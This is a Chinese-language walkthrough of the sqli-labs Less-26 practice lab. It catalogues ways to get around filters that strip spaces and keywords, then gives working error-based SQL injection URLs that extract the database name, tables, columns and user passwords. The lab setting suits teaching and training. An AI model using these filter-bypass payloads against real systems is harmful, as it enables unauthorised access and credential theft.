sqli-labs less-26 空格绕过

时间:2024-10-16 15:25:28

空格绕过

过滤空格

用Tab代替空格%20 %09 %0a %0b %0c %0d %a0 //()
绕过空格注释符绕过//–%20/
/#–±- -;%00;

空白字符绕过SQLite3 —— 0A,0D,0c,09,20
MYSQL
09,0A,0B,0B,0D,A0,20
PosgressSQL
0A,0D,0C,09,20
Oracle_11g
00,0A,0D,0C,09,20
MSSQL
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,OF,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
特殊符号绕过
` + !
等科学计数法绕过
例:
select user,password from users where user_id0e1union select 1,2
unicode编码
%u0020 %uff00
%c0%20 %c0%a0 %e0%80%a0

sqli-labs less-26

l在这里插入图片描述

来到less-26,从下面的提示不难猜测本关卡为绕过,首先输入的单引号,确定闭合方式为'单引号,

继续测试,发现注释符被过滤,构造

http://192.168.140.130/sq/Less-26/?id=1’ and ‘1’='1

发现and/or也被过滤,构造

http://192.168.140.130/sq/Less-26/?id=1’ aandnd ‘1’='1

在这里插入图片描述
此时,我们发现我们的的空格也被过滤了。
本来打算进行空格绕过的,但在不通的环境下,url编码绕过可能出现的情况不一样,且因为我没有在linux环境下搭建sqli-labs靶场,在我的靶场搭建在windows下的小皮面板上,使用空格编码绕过发现无效,使用我使用报错注入结合()来绕过空格。

绕过

数据库名

http://192.168.140.130/sq/Less-26/?id=1’ || 1=extractvalue(1,concat(‘~’,(select (database()))))|| ‘1’='1

表名

http://192.168.140.130/sq/Less-26/?id=1’ || 1=extractvalue(1,concat(‘~’,(select (group_concat(table_name))from(infoorrmation_schema.tables)where((table_schema=database())) )))|| ‘1’='1

列名

http://192.168.140.130/sq/Less-26/?id=1’ || 1=extractvalue(1,concat(‘~’,(select (group_concat(column_name))from(infoorrmation_schema.columns)where((table_schema=database()%26%26(table_name=‘users’))) )))|| ‘1’='1

数据

http://192.168.140.130/sq/Less-26/?id=1’ || 1=extractvalue(1,substring((select(group_concat(username,‘~’,passwoorrd))from(security.users)),30,30))|| ‘1’='1

用控制()的方法实现了对空格的绕过,当然还有其他很多方法,不同的环境绕过方式也不一样,勇于尝试。